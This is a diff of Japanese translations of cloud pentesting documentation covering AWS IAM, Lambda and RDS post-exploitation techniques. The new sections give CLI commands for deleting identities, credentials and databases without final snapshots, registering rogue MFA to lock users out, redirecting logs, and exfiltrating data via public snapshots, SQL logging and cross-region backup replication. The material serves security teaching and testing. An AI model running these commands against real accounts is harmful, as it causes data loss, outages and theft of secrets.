@@ -62,7 +62,7 @@ For more information about IAM access: "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -このポリシーは **任意のアカウントが** 自分の apigateway を構成してこの Lambda を呼び出すことを許可します。 +このポリシーは**任意のアカウント**が自分の apigateway を設定してこの Lambda を呼び出せるようにします。 #### S3 をプリンシパルとして ```json @@ -73,7 +73,7 @@ For more information about IAM access: } } ``` -S3 bucket が principal として指定されている場合、S3 buckets は Account ID を持たないため、あなたが **deleted your bucket and the attacker created** それを彼ら自身のアカウントに作成した場合、彼らはこれを悪用する可能性があります。 +S3 bucketがプリンシパルとして指定されている場合、S3 bucketはアカウントIDを持たないため、もしあなたが**bucketを削除し攻撃者がそれを作成した**(攻撃者のアカウントで)場合、攻撃者はこれを悪用できる可能性があります。 #### サポートされていません ```json @@ -84,10 +84,10 @@ S3 bucket が principal として指定されている場合、S3 buckets は Ac "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Confused Deputy 問題を回避する一般的な方法は、発信元の ARN を確認するために `AWS:SourceArn` を条件で使用することです。ただし、**一部のサービスはそれをサポートしていない場合があります**(例:CloudTrail は情報源によってサポートしていないことがあります)。 +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **一部のサービスはそれをサポートしていない場合があります**(情報によれば CloudTrail のように)。 ### 認証情報の削除 -次のいずれかの権限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — を持つと、担当者はアクセスキー、ログインプロファイル、SSH 鍵、サービス固有の認証情報、インスタンスプロファイル、証明書、CloudFront の公開鍵を削除したり、インスタンスプロファイルからロールを切り離したりできます。これらの操作は正当なユーザーやアプリケーションを直ちにブロックし、これらの認証情報に依存するシステムのサービス停止やアクセス喪失を引き起こす可能性があるため、これらの IAM 権限は厳格に制限・監視する必要があります。 +次のいずれかの権限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — を持つアクターは、アクセスキー、ログインプロファイル、SSH キー、サービス固有の資格情報、インスタンスプロファイル、証明書、CloudFront public keys を削除したり、インスタンスプロファイルからロールを切り離したりできます。こうした操作は正当なユーザーやアプリケーションを即座にブロックし、これらの資格情報に依存するシステムに対してサービス拒否(DoS)やアクセス喪失を引き起こす可能性があるため、これらの IAM 権限は厳格に制限・監視される必要があります。 ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` ### アイデンティティの削除 -`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または `iam:RemoveUserFromGroup` のような権限があれば、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティとそれに関連する痕跡を削除できます。これにより、そのアイデンティティに依存する人やサービスのアクセスが直ちに断たれ、サービス拒否やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。 +`iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole`、または`iam:RemoveUserFromGroup`のような権限があると、アクターはユーザー、ロール、グループを削除したり、グループのメンバーシップを変更したりして、アイデンティティや関連する痕跡を取り除くことができます。これは、これらのアイデンティティに依存する人やサービスのアクセスを即座に破壊し、denial-of-service やアクセス喪失を引き起こす可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。 ```bash # Delete a user aws iam delete-user \ @@ -114,8 +114,7 @@ aws iam delete-group \ aws iam delete-role \ --role-name ``` -### -以下の許可のいずれか — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つアクターは、マネージド/インラインポリシーを削除またはデタッチし、ポリシーのバージョンや権限境界を削除し、ユーザー、グループ、ロールからポリシーを切り離すことができます。これは認可を破壊し、権限モデルを変更する可能性があり、それらのポリシーに依存していた主体が即座にアクセスを失ったりサービス停止(denial-of-service)を引き起こす可能性があるため、これらの IAM アクションは厳格に制限・監視されるべきです。 +次のいずれかの権限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — を持つアクターは、管理済み/インラインのポリシーを削除またはデタッチし、ポリシーのバージョンや permissions boundaries を削除し、ユーザー、グループ、またはロールからポリシーを切り離すことができます。これにより認可が失われたり権限モデルが変更されたりして、これらのポリシーに依存していたプリンシパルが即時にアクセスを失ったりサービス拒否を受けたりする可能性があるため、これらの IAM アクションは厳格に制限および監視される必要があります。 ```bash # Delete a group policy aws iam delete-group-policy \ @@ -128,7 +127,7 @@ aws iam delete-role-policy \ --policy-name ``` ### フェデレーテッドアイデンティティの削除 -`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を持つアクターは、OIDC/SAML の Identity Provider (IdP) を削除したり、client ID を削除したりできます。これによりフェデレーテッド認証が破損し、トークンの検証ができなくなり、IdP または設定が復旧されるまで SSO に依存するユーザーやサービスへのアクセスが即座に拒否されます。 +`iam:DeleteOpenIDConnectProvider`、`iam:DeleteSAMLProvider`、および `iam:RemoveClientIDFromOpenIDConnectProvider` を使用すると、攻撃者は OIDC/SAML identity providers を削除したりクライアント ID を削除したりできます。これによりフェデレーテッド認証が破壊され、token validation が行えなくなり、IdP または構成が復旧されるまで SSO に依存するユーザーやサービスへのアクセスが即座に拒否されます。 ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -139,7 +138,7 @@ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` ### 不正な MFA 有効化 -`iam:EnableMFADevice` により、攻撃者はユーザのアイデンティティに MFA デバイスを登録でき、正当なユーザのサインインを阻止できます。一度不正な MFA が有効になると、そのデバイスが削除またはリセットされるまでユーザはロックアウトされる可能性があります(注: 複数の MFA デバイスが登録されている場合、サインインはどれか一つのデバイスで可能なため、この攻撃はアクセス拒否には影響しません)。 +`iam:EnableMFADevice` を用いることで、攻撃者はユーザーの識別情報にMFAデバイスを登録でき、正当なユーザーがサインインできなくなる。不正なMFAが有効化されると、そのデバイスが削除またはリセットされるまでユーザーはロックアウトされる可能性がある(注:複数のMFAデバイスが登録されている場合、サインインにはいずれか1つで足りるため、この攻撃はアクセス拒否には影響しない)。 ```bash aws iam enable-mfa-device \ --user-name \ @@ -147,8 +146,8 @@ aws iam enable-mfa-device \ --authentication-code1 123456 \ --authentication-code2 789012 ``` -### 証明書/鍵のメタデータ改ざん -With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, an actor can change status or metadata of public keys and certificates. By marking keys/certificates inactive or altering references, they can break SSH authentication, invalidate X.509/TLS validations, and immediately disrupt services that depend on those credentials, causing loss of access or availability. +### 証明書/キーのメタデータ改ざん +`iam:UpdateSSHPublicKey`、`iam:UpdateCloudFrontPublicKey`、`iam:UpdateSigningCertificate`、`iam:UpdateServerCertificate` を利用すると、公開鍵や証明書のステータスやメタデータを変更できます。鍵/証明書を無効化したり参照を変更したりすることで、SSH認証を破損させ、X.509/TLS の検証を無効化し、これらの認証情報に依存するサービスを即座に中断させて、アクセス喪失や可用性の低下を引き起こす可能性があります。 ```bash aws iam update-ssh-public-key \ --user-name \ @@ -159,6 +158,33 @@ aws iam update-server-certificate \ --server-certificate-name \ --new-path /prod/ ``` +### `iam:Delete*` + +IAM のワイルドカード iam:Delete* は、ユーザー、ロール、グループ、ポリシー、キー、証明書、MFA デバイス、ポリシーのバージョンなど、さまざまな種類の IAM リソースを削除する権限を与えます。そのため影響範囲が非常に大きく、iam:Delete* を付与された主体は識別情報、認証情報、ポリシーおよび関連アーティファクトを恒久的に破壊したり、監査証拠を削除したり、サービスや運用の停止を引き起こしたりする可能性があります。いくつかの例は次のとおりです +```bash +# Delete a user +aws iam delete-user --user-name + +# Delete a role +aws iam delete-role --role-name + +# Delete a managed policy +aws iam delete-policy --policy-arn arn:aws:iam:::policy/ +``` +### `iam:EnableMFADevice` + +iam:EnableMFADevice が付与された主体は、対象ユーザーにすでに有効な MFA が設定されていない場合に、アカウント内のアイデンティティに MFA デバイスを登録できます。これはユーザーのアクセスを妨害するために利用できます。攻撃者が MFA デバイスを登録すると、正当なユーザーは攻撃者が登録した MFA を制御していないため、サインインできなくなる可能性があります。 + +このアクセス拒否攻撃は、ユーザーに MFA がまったく登録されていない場合にのみ有効です。攻撃者がそのユーザーのために MFA デバイスを登録すると、正当なユーザーはその新しい MFA を必要とするフローからロックアウトされます。ユーザーがすでに1つ以上の MFA デバイスを保持している場合、攻撃者が制御する MFA を追加しても正当なユーザーは妨げられません — 既存の任意の MFA を使って引き続き認証できます。 + +ユーザーの MFA デバイスを有効化(登録)するために、攻撃者は次のように実行できます: +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` ## 参考資料 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index db10449a0..736bd1ee6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,7 +4,7 @@ ## Lambda -For more information check: +詳細は次を参照してください: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,13 +12,19 @@ For more information check: ### Exfilrtate Lambda Credentials -Lambda は実行時に環境変数を使って credentials を注入します。もしそれらにアクセスできれば(`/proc/self/environ` を読む、または脆弱な関数自体を利用するなどして)、自分で利用できます。これらはデフォルトの変数名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、`AWS_ACCESS_KEY_ID` に格納されています。 +Lambda はランタイムで環境変数を使用して資格情報を注入します。もしそれらにアクセスできれば(`/proc/self/environ` を読み取るか、脆弱な関数自体を利用することで)、自分でそれらを使用できます。`AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、`AWS_ACCESS_KEY_ID` というデフォルトの変数名に格納されています。 -By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use. +デフォルトでは、これらの資格情報は cloudwatch のロググループに書き込み権限(ロググループ名は `AWS_LAMBDA_LOG_GROUP_NAME` に保存されています)および任意のロググループを作成する権限を持ちます。ただし、lambda functions は用途に応じてより多くの権限が割り当てられていることがよくあります。 +### `lambda:Delete*` +lambda:Delete* 権限が付与された攻撃者は、Lambda functions、versions/aliases、layers、event source mappings およびその他の関連構成を削除できます。 +```bash +aws lambda delete-function \ +--function-name +``` ### Steal Others Lambda URL Requests -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +もし攻撃者が何らかの方法で Lambda の内部で RCE を獲得すると、他のユーザが Lambda に送る HTTP リクエストを盗むことができます。リクエストに機密情報(cookies、credentials...)が含まれている場合、それらを窃取できます。 {{#ref}} aws-warm-lambda-persistence.md @@ -26,7 +32,7 @@ aws-warm-lambda-persistence.md ### Steal Others Lambda URL Requests & Extensions Requests -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Lambda Layers を悪用すると、extensions を悪用して Lambda 内に永続化し、リクエストを盗んだり改変したりすることも可能です。 {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +40,7 @@ Abusing Lambda Layers it's also possible to abuse extensions and persist in the ### AWS Lambda – VPC Egress Bypass -Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT. +空の VpcConfig (SubnetIds=[], SecurityGroupIds=[]) に設定を更新して、制限された VPC から Lambda 関数を強制的に外へ出すことができます。関数は Lambda 管理のネットワークプレーンで実行され、アウトバウンドのインターネットアクセスを回復し、NAT なしのプライベート VPC サブネットが課すイグレス制御を回避します。 {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence. +`lambda:PutRuntimeManagementConfig` を悪用して関数を特定のランタイムバージョンにピン(Manual)したり、更新を凍結(FunctionUpdate)したりできます。これにより悪意あるレイヤー/ラッパーとの互換性が維持され、関数を古く脆弱なランタイムに留めて悪用や長期的な永続化を助ける可能性があります。 {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group. +`lambda:UpdateFunctionConfiguration` の高度なログ制御を悪用して、関数のログを攻撃者が指定した CloudWatch Logs の log group にリダイレクトできます。これはコードや実行ロールを変更せずに機能します(ほとんどの Lambda ロールは `AWSLambdaBasicExecutionRole` 経由で `logs:CreateLogGroup/CreateLogStream/PutLogEvents` を既に含んでいます)。関数がシークレットやリクエストボディを出力したり、スタックトレースでクラッシュした場合は、新しいロググループからそれらを収集できます。 {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations. +Function URL の AuthType を NONE に切り替え、lambda:InvokeFunctionUrl を全員に付与するリソースベースポリシーをアタッチすることで、プライベートな Lambda Function URL を公開の未認証エンドポイントに変更できます。これにより内部関数の匿名呼び出しが可能になり、機密なバックエンド処理が露出する恐れがあります。 {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code. +`UpdateEventSourceMapping` を悪用して既存の Event Source Mapping (ESM) のターゲット Lambda 関数を変更し、DynamoDB Streams、Kinesis、または SQS からのレコードを攻撃者管理下の関数へ配信させることができます。これによりプロデューサや元の関数コードに触れずにライブデータを密かに転用できます。 {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access. +`lambda:UpdateFunctionConfiguration` を悪用して既存の EFS Access Point を Lambda にアタッチし、マウントされたパスからファイルを列挙/読み取る簡単なコードをデプロイして、関数が以前はアクセスできなかった共有シークレットや設定を外部へ持ち出すことができます。 {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index fc7d800b1..1e71c9dc7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -4,7 +4,7 @@ ## RDS -詳細は次を参照してください: +詳細は以下を参照してください: {{#ref}} ../../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にする**ことができます。 +攻撃者が十分な権限を持っていれば、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を復元することで、**DB を公開アクセス可能にする**ことができます。 ```bash aws rds describe-db-instances # Get DB identifier @@ -38,11 +38,47 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` +### `rds:StopDBCluster` & `rds:StopDBInstance` +rds:StopDBCluster または rds:StopDBInstance を持つ攻撃者は、RDS インスタンスまたはクラスタ全体を即時に停止させることができ、データベースの利用不能、接続切断、およびデータベースに依存するプロセスの中断を引き起こします。 + +単一の DB インスタンスを停止するには(例): +```bash +aws rds stop-db-instance \ +--db-instance-identifier +``` +DB cluster 全体を停止するには(例): +```bash +aws rds stop-db-cluster \ +--db-cluster-identifier +``` +### `rds:Delete*` + +`rds:Delete*` が付与された攻撃者は RDS リソースを削除でき、DB インスタンス、クラスター、スナップショット、自動バックアップ、サブネットグループ、パラメータ/オプショングループや関連するアーティファクトを削除して、即時のサービス停止、データ損失、リカバリポイントの破壊、及びフォレンジック証拠の消失を引き起こす可能性があります。 +```bash +# Delete a DB instance (creates a final snapshot unless you skip it) +aws rds delete-db-instance \ +--db-instance-identifier \ +--final-db-snapshot-identifier # omit or replace with --skip-final-snapshot to avoid snapshot + +# Delete a DB instance and skip final snapshot (more destructive) +aws rds delete-db-instance \ +--db-instance-identifier \ +--skip-final-snapshot + +# Delete a manual DB snapshot +aws rds delete-db-snapshot \ +--db-snapshot-identifier + +# Delete an Aurora DB cluster (creates a final snapshot unless you skip) +aws rds delete-db-cluster \ +--db-cluster-identifier \ +--final-db-snapshot-identifier # or use --skip-final-snapshot +``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開** **可能に**することができます。そうすれば、そのスナップショットから自分のアカウントでDBを作成できます。 +これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開** **可能**にすることができます。その後、攻撃者は自分のアカウントでそのスナップショットからDBを作成できます。 -攻撃者が **`rds:CreateDBSnapshot` を持っていない** 場合でも、**他の** 作成済みスナップショットを**公開**することは可能です。 +攻撃者が **`rds:CreateDBSnapshot` を持っていない**場合でも、**他の**作成済みスナップショットを**公開**にすることができます。 ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は、**RDS インスタンスのログファイルの一部をダウンロードできます**。機密データや認証情報が誤ってログに記録されている場合、攻撃者はその情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。 +権限`rds:DownloadDBLogFilePortion`を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロードできる**。もし機密データやアクセス認証情報が誤ってログに記録されていた場合、攻撃者はその情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。 ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**潜在的な影響**: 機密情報へのアクセス、または leaked credentials を使用した不正な操作。 +**Potential Impact**: leaked credentials を使用して機密情報にアクセスしたり、許可されていない操作を実行したりする可能性があります。 ### `rds:DeleteDBInstance` -これらの権限を持つ攻撃者は **DoS existing RDS instances** を実行できます。 +これらの権限を持つ攻撃者は**既存のRDSインスタンスをDoSする**ことができます。 ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potential impact**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。 +**潜在的な影響**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。 ### `rds:StartExportTask` > [!NOTE] > TODO: テスト -この権限を持つ攻撃者は、**RDS インスタンスのスナップショットを S3 バケットにエクスポートする** を実行できます。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。 +攻撃者がこの権限を持っていると、**RDS インスタンスのスナップショットを S3 バケットへエクスポートする**ことができます。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。 ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Potential impact**: エクスポートされたスナップショット内の機密データへのアクセス。 +**潜在的影響**: エクスポートされたスナップショット内の機密データへのアクセス。 ### ステルス復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`) -クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別の AWS Region にこっそり複製し、そこで復元します。攻撃者は復元した DB をパブリックに公開し、マスターパスワードをリセットして、守備側が監視していない可能性のある Region でアウトオブバンドにデータへアクセスできます。 +クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンに静かに複製し、そこで復元します。攻撃者は復元したDBをパブリックにアクセス可能にし、マスターパスワードをリセットして、防御側が監視していないリージョンでアウトオブバンドにデータへアクセスできます。 Permissions needed (minimum): - `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region - `rds:DescribeDBInstanceAutomatedBackups` in the destination Region - `rds:RestoreDBInstanceToPointInTime` in the destination Region - `rds:ModifyDBInstance` in the destination Region -- `rds:StopDBInstanceAutomatedBackupsReplication` (オプション: クリーンアップ) +- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) -Impact: 本番データのコピーを別の Region に復元し、攻撃者が管理する資格情報で公開することで、永続化とデータの外部流出が可能になります。 +Impact: 本番データのコピーを別リージョンに復元し、攻撃者が管理する認証情報で公開することで、永続化およびデータの持ち出しが可能になる。
-エンドツーエンド CLI (プレースホルダーを置き換えてください) +エンドツーエンド CLI(プレースホルダを置換) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### DB parameter groups 経由でフル SQL ロギングを有効にし、RDS log APIs 経由で exfiltrate +### DBパラメータグループでフルSQLロギングを有効化して、RDSログAPI経由で持ち出す -`rds:ModifyDBParameterGroup` を悪用し、RDS log download APIs でアプリケーションが実行したすべての SQL ステートメントを取得します(DB エンジンの認証情報は不要)。エンジンの SQL ロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`(または REST の `downloadCompleteLogFile`)でログファイルを取得します。secrets/PII/JWTs を含む可能性のあるクエリを収集するのに有用です。 +`rds:ModifyDBParameterGroup` を RDS ログダウンロードAPI と組み合わせて悪用し、アプリケーションが実行する全てのSQL文を捕捉します(DBエンジンの認証情報は不要)。エンジンのSQLロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`(または REST の `downloadCompleteLogFile`)でログファイルを取得します。秘密情報/PII/JWT を含む可能性のあるクエリの収集に有用です。 Permissions needed (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) -- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) +- `rds:ModifyDBInstance` (インスタンスがデフォルトのパラメータグループを使用している場合にカスタムパラメータグループをアタッチするためのみ) +- `rds:RebootDBInstance` (再起動が必要なパラメータ用、例: PostgreSQL) Steps -1) Recon target and current parameter group +1) 対象のリコンと現在のパラメータグループの確認 ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) カスタム DB パラメータグループがアタッチされていることを確認する(デフォルトは編集できない) -- インスタンスが既にカスタムグループを使用している場合は、次の手順でその名前を再利用する。 -- それ以外の場合は、エンジンファミリーに合ったものを作成してアタッチする: +2) カスタム DB parameter group がアタッチされていることを確認する(デフォルトは編集できない) +- インスタンスがすでにカスタムグループを使用している場合は、次のステップでその名前を再利用する。 +- そうでなければ、engine family に合ったものを作成してアタッチする: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -197,7 +233,7 @@ aws rds modify-db-instance \ # Wait until status becomes "available" ``` 3) 詳細なSQLログを有効にする -- MySQL engines (即時 / 再起動不要): +- MySQL engines (即時適用 / 再起動不要): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL エンジン(再起動が必要): +- PostgreSQL エンジン (再起動が必要): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) ワークロードを実行する(またはクエリを生成する)。ステートメントはエンジンのファイルログに書き込まれます +4) ワークロードを実行させる(またはクエリを生成する)。ステートメントはエンジンのファイルログに書き込まれます - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) ログを発見してダウンロードする(DB 資格情報は不要) +5) ログを検出してダウンロードする(DB creds は不要) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -235,18 +271,18 @@ aws rds download-db-log-file-portion \ --starting-token 0 \ --output text > dump.log ``` -6) 機密データを検出するためにオフラインで解析する +6) 機密データをオフラインで分析する ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -例の証拠(編集済み): +証拠の例(編集済み): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` クリーンアップ -- パラメータをデフォルトに戻し、必要に応じて再起動する: +- パラメータをデフォルトに戻し、必要に応じて再起動してください: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,11 +297,11 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -影響: AWS APIs を介してアプリケーションの全ての SQL ステートメントをキャプチャすることによる事後侵害でのデータアクセス(DB creds 不要)、potentially leaking secrets, JWTs, and PII. +影響: Post-exploitation により、AWS APIs を介してアプリケーションのすべての SQL ステートメントをキャプチャすることでデータにアクセスでき(no DB creds)、secrets、JWTs、PII を leaking する可能性があります。 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -RDS の read replicas を悪用して、プライマリインスタンスの資格情報に触れることなく out-of-band の読み取りアクセスを取得します。攻撃者は本番インスタンスから read replica を作成し、レプリカのマスターパスワードをリセットすることができ(これはプライマリを変更しません)、必要に応じてレプリカを公開してデータを exfiltrate できます。 +RDS の read replica を悪用して、プライマリのインスタンス資格情報に触れることなくオフバンドで読み取りアクセスを取得できます。攻撃者は本番インスタンスから read replica を作成し、replica の master password をリセットできます(これは primary を変更しません)。さらに、replica を公開してデータを exfiltrate することも可能です。 Permissions needed (minimum): - `rds:DescribeDBInstances` @@ -273,7 +309,7 @@ Permissions needed (minimum): - `rds:ModifyDBInstance` - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) -影響: 